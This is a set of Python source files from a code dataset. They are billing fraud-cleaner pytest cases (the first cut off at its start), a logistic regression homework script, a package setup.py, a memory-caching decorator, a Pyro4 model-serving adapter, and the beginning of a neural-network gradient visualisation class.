self.add_trust_as_processing_payment(session)\n\n    def get_result(self):\n        res = RequiredResult(commit=False, delay=False)\n        comments = [COMMENTS['no_invoice'].format(self.payments[0].id), COMMENTS['rechek_payments_id']]\n        res.add_message('\\n'.join(comments))\n        res.transition = IssueTransitions.wont_fix\n        res.summonees = [self.author]\n        return res\n\n\nclass TrustAsProcessingRbsRealProcessingCase(AbstractDBTestCase):\n    _representation = 'trust_as_processing_rbs_real_processing'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client)\n        p = self.add_trust_as_processing_payment(session, invoice, real_processing_id=10105)\n        trust_p = self.trust_api_p\n        trust_p.payment_dt = dt.datetime.now()\n        trust_p.invoice = invoice\n        self.trust_api_p = p #бубны, чтобы тест работал без переделки логики всех тестов\n        p.invoice = None\n        self.payments = [trust_p]\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('already_fraud').format(self.client_comment_data()))\n        res.summonees = []\n        data = [(10, 300, '-', '-')]\n        p_ = self.payments\n        self.payments = [self.trust_api_p]  # тут бубны по той же причине\n        res.add_message(self.get_cleaner_report(data))\n        self.payments = p_\n        res.add_message(COMMENTS['all_is_done'])\n        return res\n\n\nclass TrustAsProcessingRbsRealProcessingTranstactionIdNoneCase(AbstractDBTestCase):\n    _representation = 'trust_as_processing_rbs_real_processing_transaction_id_none'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client)\n        p = self.add_trust_as_processing_payment(session, invoice, real_processing_id=10105)\n        trust_p = self.trust_api_p\n        trust_p.payment_dt = dt.datetime.now()\n        trust_p.invoice = invoice\n        trust_p.transaction_id = None\n        p.invoice = None\n        self.payments = [trust_p]\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('already_fraud').format(self.client_comment_data()))\n        res.summonees = []\n        data = [(10, 300, '-', '-')]\n        res.add_message(self.get_cleaner_report(data))\n        res.add_message(COMMENTS['all_is_done'])\n        return res\n\n\nclass HalfFraudDenyCCApproveCase(AbstractDBTestCase):\n    _representation = 'half_fraud_deny_cc_approve'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        res.add_message(self.get_info_comment())\n        res.add_message(self.get_approve_request())\n        res.summonees = ['fraud_m1', 'fraud_m2']\n        res.has_new_cfh_row = True\n        res.tags = ['trust_m']\n        return res\n\n\nclass HalfFraudFraudFlagApproveCase(AbstractDBTestCase):\n    _representation = 'half_fraud_fraud_flag_approve'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        res.add_message(self.get_info_comment())\n        res.add_message(self.get_approve_request())\n        res.summonees = ['fraud_m1', 'fraud_m2']\n        res.has_new_cfh_row = True\n        res.tags = ['trust_m']\n        return res\n\n\nclass FullFraudApproveCase(AbstractDBTestCase):\n    _representation = 'full_fraud_approve'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        res.add_message(self.get_info_comment())\n        res.add_message(self.get_approve_request())\n        res.summonees = ['fraud_m1', 'fraud_m2']\n        res.has_new_cfh_row = True\n        res.tags = ['trust_m']\n        return res\n\n\nclass AlreadyFraudSimpleCase(AbstractDBTestCase):\n    _representation = 'already_fraud_simple'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n        invoice2 = self.create_invoice(session, self.client, 20)\n        self.add_payment(session, invoice2)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('already_fraud').format(self.client_comment_data()))\n        res.summonees = []\n        data = [(10, 300, '-', '-'), [20, 600, '-', '-']]\n        res.add_message(self.get_cleaner_report(data))\n        res.add_message(COMMENTS['all_is_done'])\n        # res.type_id = 52\n        return res\n\n\n\"\"\"\nclass AlreadyFraudWithApproveRequest(AbstractDBTestCase):\n    _representation = 'already_fraud_w_approve_request'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n        invoice2 = self.create_invoice(session, self.client, 20)\n        self.add_payment(session, invoice2)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        return res\n\n    def get_comments(self):\n        return [\n            ('autodasha', self.get_info_comment()),\n            {'author': 'autodasha', 'text': self.get_approve_request(force=1), 'summonees': ['fraud_m1']},\n        ]\n\"\"\"\n\n\nclass MultipleClientsCase(AbstractDBTestCase):\n    _representation = 'no_single_client'\n\n    def prepare_data(self, session):\n        client1 = self.create_client(session)\n        invoice1 = self.create_invoice(session, client1)\n        self.add_payment(session, invoice1)\n\n        client2 = self.create_client(session)\n        invoice2 = self.create_invoice(session, client2)\n        self.add_payment(session, invoice2)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.wont_fix\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('no_single_client'))\n        return res\n\n\nclass FromFraudManagersCase(AbstractDBTestCase):\n    _representation = 'from_fraud_managers'\n\n    summary = 'Мошенническое списаание с карты (Платежный фрод)'\n    followers = ['fraud_m1']\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n        invoice2 = self.create_invoice(session, self.client, 20)\n        self.add_payment(session, invoice2)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        data = [(10, 300, '-', '-'), [20, 600, '-', '-']]\n        res.add_message(self.get_cleaner_report(data))\n        return res\n\n\nclass UnapproveCommentCase(AbstractDBTestCase):\n    _representation = 'unapprove_comment'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('no_fraud_client'))\n        return res\n\n    def get_comments(self):\n        return [('fraud_m1', 'Не подтверждено')]\n\n\nclass UnapproveCommentCase2(AbstractDBTestCase):\n    _representation = 'unapprove_comment2'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('no_fraud_client'))\n        return res\n\n    def get_comments(self):\n        return [('tis754', 'Не подтверждено')]\n\n\nclass WrongAuthorUnapproveCommentCase(AbstractDBTestCase):\n    _representation = 'wrong_author_unapprove_comment'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        res.add_message(self.get_info_comment())\n        res.add_message(self.get_approve_request())\n        res.summonees = ['fraud_m1', 'fraud_m2']\n        res.has_new_cfh_row = True\n        res.tags = ['trust_m']\n        return res\n\n    def get_comments(self):\n        return [\n            ('lal_ya_naebshik', 'Не подтверждено')\n        ]\n\n\nclass ApproveCommentCase(AbstractDBTestCase):\n    _representation = 'approve_comment'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        data = [(10, 300, '-', '-')]\n        res.add_message(self.get_cleaner_report(data))\n        res.summonees = []\n        res.add_message(COMMENTS['all_is_done'])\n        # res.type_id = 52\n        return res\n\n    def get_comments(self):\n        return [('fraud_m1', 'П��дтверждено')]\n\n\nclass ApproveCommentCase2(AbstractDBTestCase):\n    _representation = 'approve_comment2'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        data = [(10, 300, '-', '-')]\n        res.add_message(self.get_cleaner_report(data))\n        res.summonees = []\n        res.add_message(COMMENTS['all_is_done'])\n        # res.type_id = 52\n        return res\n\n    def get_comments(self):\n        return [('tis754', 'Подтверждено')]\n\n\nclass WrongAuthorApproveCommentCase(AbstractDBTestCase):\n    _representation = 'wrong_author_approve_comment'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=False, fraud_flag=False)\n        invoice = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        return res\n\n    def get_comments(self):\n        return [\n            ('autodasha', self.get_info_comment()),\n            {'author': 'autodasha', 'text': self.get_approve_request(force=1), 'summonees': ['fraud_m1']},\n            ('lal_ya_naebshik', 'Подтверждено')\n        ]\n\n\nclass UltimateFraudCleanerCase(AbstractDBTestCase):\n    _representation = 'ultimate_fraud_cleaner'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n\n        invoice = self.create_invoice(session, self.client, 100, completed=50, do_acts=True)\n        self.add_payment(session, invoice, processing_id=10105)\n\n        invoice2 = self.create_invoice(session, self.client, 10)\n        self.add_payment(session, invoice2)\n\n        invoice3 = self.create_invoice(session, self.client, 30, completed=30)\n        self.add_payment(session, invoice3)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS['already_fraud'].format(self.client_comment_data()))\n        cleaner_data = [\n            (50, 1500, '-', self.payments[0].invoice.acts[0].external_id),\n            (10, 300, '-', '-'),\n            (0, 0, self.payments[2].invoice.acts[0].external_id, self.payments[2].invoice.acts[0].external_id)\n        ]\n        res.add_message(self.get_cleaner_report(cleaner_data))\n        res.add_message(COMMENTS['enqueued'])\n        res.summonees = []\n        res.reexported_acts = [self.payments[2].invoice.acts[0]]\n        res.add_message(COMMENTS['all_is_done'])\n        # res.type_id = 52\n        return res\n\n\nclass PreviusIssueExistsCase(AbstractDBTestCase):\n    _representation = 'previus_issue_exists'\n    issue_key = 'ISSUE-123456'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=False)\n\n        invoice = self.create_invoice(session, self.client, 100, completed=50, do_acts=True)\n        self.add_payment(session, invoice, processing_id=10105)\n\n        self.add_cfh_row(session, 'ISSUE-123')\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=True)\n        res.transition = IssueTransitions.none\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS['previus_issue_exists'].format(client_data=self.client_comment_data(),\n                                                                issue_key='ISSUE-123'))\n        res.summonees = ['lidzhievatt']\n        return res\n\n\nclass SilentCheckWasSolvedCase(AbstractDBTestCase):\n    _representation = 'silent_check_was_solved'\n\n    last_resolved = dt.datetime.now() - dt.timedelta(hours=1)\n\n    def prepare_data(self, session):\n        pass\n\n    def get_result(self):\n        pass\n\n\nclass EmptyReportCase(AbstractDBTestCase):\n    _representation = 'empty_report'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client, 0)\n        self.add_payment(session, invoice)\n        invoice2 = self.create_invoice(session, self.client, 0)\n        self.add_payment(session, invoice2)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('already_fraud').format(self.client_comment_data()))\n        res.add_message(COMMENTS.get('empty_report'))\n        res.summonees = []\n        res.add_message(COMMENTS['all_is_done'])\n        return res\n\n\nclass ChargeNoteCase(AbstractDBTestCase):\n    _representation = 'charge_note_case'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        p = db_utils.create_person(session)\n        pa = db_utils.create_personal_account(\n            session, self.client, p, personal_account_fictive=0\n        )\n        o = db_utils.create_order(session, client=self.client)\n        charge_note = db_utils.create_charge_note(\n            session, pa, [(o, 10)]\n        )\n        charge_note.on_turn_on(\n            mapper.Operation(2, charge_note), charge_note.effective_sum\n        )\n        session.flush()\n        pa.create_receipt(charge_note.effective_sum)\n        self.add_payment(session, charge_note)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('already_fraud').format(self.client_comment_data()))\n        # res.summonees = []\n        data = [(10, 300, '-', '-')]\n        res.add_message(self.get_cleaner_report(data))\n        res.add_message(COMMENTS['all_is_done'])\n        return res\n\n\n@pytest.mark.parametrize('issue_data',\n                         [case() for case in AbstractDBTestCase._cases],\n                         ids=lambda case: str(case),\n                         indirect=['issue_data'])\ndef test_db(session, issue_data):\n    queue_object, st_issue, case = issue_data\n    solver = FraudCleaner(queue_object, st_issue)\n    res = solver.solve()\n\n    session.flush()\n    req_res = case.get_result()\n    report = res.issue_report\n\n    if req_res is None:\n        assert report is None\n        return\n\n    assert res.commit == req_res.commit\n    assert res.delay == req_res.delay\n\n    report_comments = []\n    for c in report.comments:\n        c_text = c['text']\n        for part in c_text.strip().split('\\n'):\n            report_comments.append(part.strip())\n\n    req_res_comments = []\n    for c in req_res.comments:\n        for part in c.strip().split('\\n'):\n            req_res_comments.append(part.strip())\n\n    report_comments = sorted(report_comments)\n    req_res_comments = sorted(req_res_comments)\n\n    assert len(report_comments) == len(req_res_comments)\n\n    for i in range(len(req_res_comments)):\n        assert req_res_comments[i] == report_comments[i]\n\n    assert report.transition == req_res.transition\n    assert report.assignee == req_res.assignee\n    assert set(report.tags) == set(req_res.tags)\n\n    assert report.type == req_res.type_id\n\n    summonees = set(itertools.chain.from_iterable(cmt.summonees or [] for cmt in report.comments))\n    assert set(req_res.summonees) == summonees\n\n    try:\n        export_queue = session.query(a_mapper.QueueObject).\\\n            filter(a_mapper.QueueObject.issue == queue_object.issue,\n                   a_mapper.QueueObject.processor == 'EXPORT_CHECK').\\\n            one()\n    except orm.exc.NoResultFound:\n        assert not req_res.reexported_acts\n    else:\n        req_reexp_acts = {obj.object_id for obj in export_queue.proxies}\n        reexp_acts = {act.id for act in req_res.reexported_acts}\n        assert reexp_acts == req_reexp_acts\n\n    if req_res.has_new_cfh_row:\n        assert session.query(a_mapper.ClientFraudHistory).filter(\n            a_mapper.ClientFraudHistory.issue_key == st_issue.key\n        ).all()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/autodasha_tests/functional_tests/solvers/test_fraud_cleaner.py","file_name":"test_fraud_cleaner.py","file_ext":"py","file_size_in_byte":41392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8606534592","text":"import numpy as np\nimport util\n\n\ndef main(train_path, valid_path, save_path, plot_path):\n    \"\"\"Problem: Logistic regression with Newton's Method.\n\n    Args:\n        train_path: Path to CSV file containing dataset for training.\n        valid_path: Path to CSV file containing dataset for validation.\n        save_path: Path to save predicted probabilities using np.savetxt().\n        plot_path: Path to save plots.\n    \"\"\"\n    x_train, y_train = util.load_dataset(train_path, add_intercept=True)\n    x_valid, y_valid = util.load_dataset(valid_path, add_intercept=True)\n    clf = LogisticRegression()\n    clf.fit(x_train, y_train)\n    util.plot(x_valid, y_valid, clf.theta, plot_path)\n    np.savetxt(save_path, clf.predict(x_valid))\n\n\nclass LogisticRegression:\n    \"\"\"Logistic regression with Newton's Method as the solver.\n\n    Example usage:\n        > clf = LogisticRegression()\n        > clf.fit(x_train, y_train)\n        > clf.predict(x_eval)\n    \"\"\"\n    def __init__(self, step_size=0.01, max_iter=1000000, eps=1e-5,\n                 theta_0=None, verbose=True):\n        \"\"\"\n        Args:\n            step_size: Step size for iterative solvers only.\n            max_iter: Maximum number of iterations for the solver.\n            eps: Threshold for determining convergence.\n            theta_0: Initial guess for theta. If None, use the zero vector.\n            verbose: Print loss values during training.\n        \"\"\"\n        self.theta = theta_0\n        self.step_size = step_size\n        self.max_iter = max_iter\n        self.eps = eps\n        self.verbose = verbose\n\n    def fit(self, x, y):\n        \"\"\"Run Newton's Method to minimize J(theta) for logistic regression.\n\n        Args:\n            x: Training example inputs. Shape (n_examples, dim).\n            y: Training example labels. Shape (n_examples,).\n        \"\"\"\n        self.theta = np.zeros(x.shape[1])\n        while True:\n            y_pred = self.predict(x)\n            grad = ((y_pred - y) * x.T).mean(axis=1)\n            hess = ((y_pred * (1 - y_pred)) * x.T) @ x / x.shape[1]\n            diff = grad @ np.linalg.inv(hess.T)\n            self.theta = self.theta - diff\n            if np.abs(diff).sum() < self.eps:\n                return self\n\n    def predict(self, x):\n        \"\"\"Return predicted probabilities given new inputs x.\n\n        Args:\n            x: Inputs of shape (n_examples, dim).\n\n        Returns:\n            Outputs of shape (n_examples,).\n        \"\"\"\n        z = self.theta @ x.T\n        return 1 / (1 + np.exp(-z))\n\nif __name__ == '__main__':\n    main(train_path='ds1_train.csv',\n         valid_path='ds1_valid.csv',\n         save_path='logreg_pred_1.txt',\n         plot_path='logreg_1.jpg')\n\n    main(train_path='ds2_train.csv',\n         valid_path='ds2_valid.csv',\n         save_path='logreg_pred_2.txt',\n         plot_path='logreg_2.jpg')\n","repo_name":"nikitn2/StanfordCS229","sub_path":"homework/vietsols/ps1/src/linearclass/logreg.py","file_name":"logreg.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"40087599144","text":"import setuptools  # type: ignore\n\nwith open(\"README.md\", \"r\") as f:\n    long_description = f.read()\n\nsetuptools.setup(\n    name=\"jsonschemax\",\n    version=\"0.0.2\",\n    author=\"ocavue\",\n    author_email=\"ocavue@gmail.com\",\n    description=\"An implementation of JSON Schema for Python\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/ocavue/jsonschemax\",\n    packages=setuptools.find_packages(),\n    classifiers=[\n        \"Programming Language :: Python :: 3.7\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n)\n","repo_name":"ocavue/jsonschemax","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"30860592639","text":"import pickle\nimport json\nimport time\nimport hashlib\nimport warnings\nfrom collections import deque, OrderedDict\n\n\n__VERSION__ = '0.10'\n\n\nclass MemCache():\n\n    __MAX_LENGTH = 1024\n    __MAX_BYTES = 8 * 1024 * 1024\n\n\n    @classmethod\n    def __get_container(cls):\n        try:\n            cls.__container\n        except AttributeError:\n            cls.__container = dict()\n            cls.__queue = deque()\n            cls.__bytes = 0\n        return cls.__container, cls.__queue\n\n    @classmethod\n    def _set(cls, key, data):\n        c, dq = cls.__get_container()\n\n        pkl_str = pickle.dumps(data)\n        if cls.__MAX_BYTES and len(pkl_str) > cls.__MAX_BYTES:\n            warnings.warn('Object {} is too large to be cached in memory'.format(key), ResourceWarning)\n\n        cache_obj = {\n            '__timestamp': time.time(),\n            'data': pkl_str,\n        }\n        c[key] = cache_obj\n        dq.append(key)\n        cls.__bytes += len(pkl_str)\n\n        if cls.__MAX_LENGTH:\n            while len(dq) > cls.__MAX_LENGTH:\n                k_ = dq.popleft()\n                cls.__bytes -= len(c[k_]['data'])\n                del c[k_]\n        if cls.__MAX_BYTES:\n            while cls.__bytes > cls.__MAX_BYTES:\n                k_ = dq.popleft()\n                cls.__bytes -= len(c[k_]['data'])\n                del c[k_]\n    \n    @classmethod\n    def _get(cls, key):\n        c, dq = cls.__get_container()\n        try:\n            cache_obj = c[key]\n            return True, pickle.loads(cache_obj['data'])\n        except KeyError:\n            pass\n        return False, None\n\n    @classmethod\n    def _md5(cls, obj):\n        j = json.dumps(obj).encode()\n        h = hashlib.new('md5', j)\n        return h.hexdigest()\n    \n\ndef mem_cached(*args, **kwargs):\n\n    def decorator(func):\n        prefix = 'generic'\n        try:\n            prefix = kwargs['prefix']\n        except KeyError:\n            pass\n\n        def wrapper(*args, **kwargs):\n            k = '{}://{}'.format(prefix, MemCache._md5([args, OrderedDict(kwargs)]))\n            cached, d = MemCache._get(k)\n            if cached:\n                return d\n            d = func(*args, **kwargs)\n            MemCache._set(k, d)\n            return d\n\n        return wrapper\n\n    return decorator\n\n\n@mem_cached()\ndef test(n):\n    return ([0] * n) * n\n\n@mem_cached(prefix='prefixed')\ndef test2(n):\n    return n - 3\n\nif __name__ == '__main__':\n    print(test(9))\n    print(test(8))\n    print(len(test(9)))\n    print('test2', test2(9))\n    print(len(test(9)))\n    for i in range(900, 920):\n        print(i, len(test(i)))\n    for i in range(5):\n        print('908', len(test(918)))\n    print('900', len(test(9000)))\n\n        \n","repo_name":"poi890poi/pylang","sub_path":"cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6672585921","text":"\"\"\"\n Created by Farshid Tavakolizadeh on 19.12.2016\n PyroAdapter exposes an external learning module via Pyro4\n\"\"\"\nimport Pyro4\nimport sys, imp, os\nfrom optparse import OptionParser\n\n\nclass PyroAdapter(object):\n    def __init__(self):\n        self.backend = backendModule\n\n    @Pyro4.expose\n    def build(self, classifier):\n        return self.backend.build(classifier)\n\n    @Pyro4.expose\n    def learn(self, datapoint):\n        self.backend.learn(datapoint)\n\n    @Pyro4.expose\n    def learn(self, datapoint, label):\n        self.backend.learn(datapoint, label)\n\n    @Pyro4.expose\n    def predict(self, datapoint):\n        return self.backend.predict(datapoint)\n\n    @Pyro4.expose\n    def batchLearn(self, datapoints):\n        self.backend.batchLearn(datapoints)\n\n    @Pyro4.expose\n    def batchLearn(self, datapoints, labels):\n        self.backend.batchLearn(datapoints, labels)\n\n    @Pyro4.expose\n    def batchPredict(self, datapoints):\n        return self.backend.batchPredict(datapoints)\n\n    @Pyro4.expose\n    def destroy(self):\n        self.backend.destroy()\n\n    @Pyro4.expose\n    def exportModel(self):\n        return self.backend.exportModel()\n\n    @Pyro4.expose\n    def importModel(self, model):\n        self.backend.importModel(model)\n\n\ndef startPyro(options):\n    Pyro4.config.SERIALIZER = 'pickle'\n    daemon = Pyro4.Daemon(host=options.host, port=options.port)\n    uri = daemon.register(PyroAdapter)\n    # e.g. uri: PYRO:obj_73fcc95930ed45caacba17be6bdbce74@localhost:43210\n    print(uri)  # NOTE: This is read by the parent process.\n\n    if options.nameserver:\n        try:\n            ns = Pyro4.locateNS()\n            ns.register(options.rname, uri)\n        except Exception as e:\n            print(\"Exception: {}\".format(e))\n            raise SystemExit\n\n    daemon.requestLoop()\n\n\ndef parseArgs():\n    mandatoryArgs = ['bname', 'bpath']\n    parser = OptionParser()\n    parser.add_option(\"--bname\", help=\"name of backend module\")\n    parser.add_option(\"--bpath\", help=\"path to backend module (python script)\")\n    parser.add_option(\"--host\", default=\"localhost\", help=\"hostname to bind server on\")\n    parser.add_option(\"--port\", type=\"int\", default=0, help=\"port to bind server on (0=random)\")\n    parser.add_option(\"--ns\", dest=\"nameserver\", action=\"store_true\", default=False, help=\"register the server into pyro nameserver\")\n    parser.add_option(\"--rname\", default=\"python-agent-0\", help=\"name used for registration into pyro nameserver\")\n    options, args = parser.parse_args()\n    # check mangatory args\n    for opt in mandatoryArgs:\n        if not getattr(options, opt):\n            print(\"Argument `{}` not given.\".format(opt))\n            parser.print_help()\n            sys.exit(2)\n\n    return options\n\n\ndef main(options):\n    # Add directory of backend script to resolve local modules with relative paths\n    backendDir = os.path.dirname(options.bpath)\n    sys.path.append(backendDir)\n\n    module = imp.load_source(options.bname, options.bpath)\n    global backendModule\n    backendModule = getattr(module, options.bname)()\n\n    startPyro(options)\n\n\nif __name__ == \"__main__\":\n    main(parseArgs())\n","repo_name":"composition-project/data-processing-agent","sub_path":"cemlComponents/models/PythonModelsIntegrator/src/main/resources/pyroAdapter.py","file_name":"pyroAdapter.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44797388328","text":"import torch\nfrom torch.nn import ReLU\nfrom torch.autograd import Variable\nimport numpy as np\nimport cv2\nfrom wsl.networks.medinet.utils import convert_to_grayscale\n\n\nclass BackProp():\n    \"\"\"\n        Produces gradients generated with integrated gradients from the image\n    \"\"\"\n    def __init__(self, model, GBP=False):\n        self.model = model\n        self.gradients = None\n        self.model.eval()\n        self.GBP = GBP\n\n        if self.GBP:\n            self.forward_relu_outputs = []\n            self.update_relus()\n            self.hook_first()\n\n    def hook_first(self):\n        def hook_function(module, grad_in, grad_out):\n            self.gradient = grad_in[0]\n        # Register hook to the first layer\n        first_layer = list(self.model.features._modules.items())[0][1]\n        first_layer.register_backward_hook(hook_function)\n\n    def update_relus(self):\n        \"\"\"\n            Updates relu activation functions so that\n                1- stores output in forward pass\n                2- imputes zero for gradient values that are less than zero\n        \"\"\"\n        def relu_backward_hook_function(module, grad_in, grad_out):\n            \"\"\"\n            If there is a negative gradient, change it to zero\n            \"\"\"\n            # Get last forward output\n            corresponding_forward_output = self.forward_relu_outputs[-1]\n            corresponding_forward_output[corresponding_forward_output > 0] = 1\n            modified_grad_out = corresponding_forward_output * torch.clamp(grad_in[0], min=0.0)\n            del self.forward_relu_outputs[-1]  # Remove last forward output\n            return (modified_grad_out,)\n\n        def relu_forward_hook_function(module, ten_in, ten_out):\n            self.forward_relu_outputs.append(ten_out)\n\n        # Loop through layers, hook up ReLUs\n        for _pos, module in self.model.features._modules.items():\n            if isinstance(module, ReLU):\n                module.register_backward_hook(relu_backward_hook_function)\n                module.register_forward_hook(relu_forward_hook_function)\n\n    def generate_images_on_linear_path(self, input_image, steps):\n        step_list = np.arange(steps + 1) / steps\n        xbar_list = [input_image * step for step in step_list]\n        return xbar_list\n\n    def generate_gradients(self, img):\n\n        # Forward\n        img.requires_grad = True\n        model_output = self.model(img)\n\n        # Zero grads\n        self.model.zero_grad()\n\n        # Target for backprop\n        one_hot_output = torch.FloatTensor(1, model_output.size()[-1]).zero_().cuda()\n        one_hot_output[0] = 1\n\n        # Backward pass\n        model_output.backward(gradient=one_hot_output)\n\n        if self.GBP:\n            return convert_to_grayscale(self.gradient.data.squeeze().cpu().numpy())\n        else:\n            return convert_to_grayscale(img.grad.data.squeeze().cpu().numpy())\n\n    def generate_integrated_gradients(self, img, steps):\n        xbar_list = self.generate_images_on_linear_path(img, steps)\n        integrated_grads = np.zeros((img.shape[-2], img.shape[-1]))\n\n        for xbar_image in xbar_list:\n            single_integrated_grad = self.generate_gradients(xbar_image)\n            # Add rescaled grads from xbar images\n            integrated_grads += single_integrated_grad / steps\n\n        return integrated_grads\n\n    def generate_smooth_grad(self, img, param_n, param_sigma_multiplier, steps):\n        # Generate an empty image/matrix\n        smooth_grad = np.zeros((img.shape[-2], img.shape[-1]))\n\n        mean = 0\n        sigma = param_sigma_multiplier / (torch.max(img) - torch.min(img)).item()\n        for _x in range(param_n):\n            noise = Variable(img.data.new(img.size()).normal_(mean, sigma**2))\n            noisy_img = img + noise\n            if steps == 0:\n                grads = self.generate_gradients(noisy_img)\n            else:\n                grads = self.generate_integrated_gradients(noisy_img, steps)\n            smooth_grad += grads\n\n        smooth_grad = smooth_grad / param_n\n        return smooth_grad\n\n    def generate_cam(self, img):\n        img.requires_grad = True\n        output, feat_map, _, handle = self.model(img)\n\n        one_hot_output = torch.FloatTensor(1, output.size()[-1]).zero_().cuda()\n        one_hot_output[0] = 1\n        self.model.zero_grad()\n        output.backward(gradient=one_hot_output, retain_graph=True)\n\n        feat_map = feat_map.squeeze(dim=0).data.cpu().numpy()\n        guided_gradients = self.model.gradient.squeeze(dim=0).data.cpu().numpy()\n        weights = np.mean(guided_gradients, axis=(1, 2))\n\n        handle.remove()\n\n        cam = np.ones(feat_map.shape[1:], dtype=np.float32)\n        for i, w in enumerate(weights):\n            cam += w * feat_map[i, :, 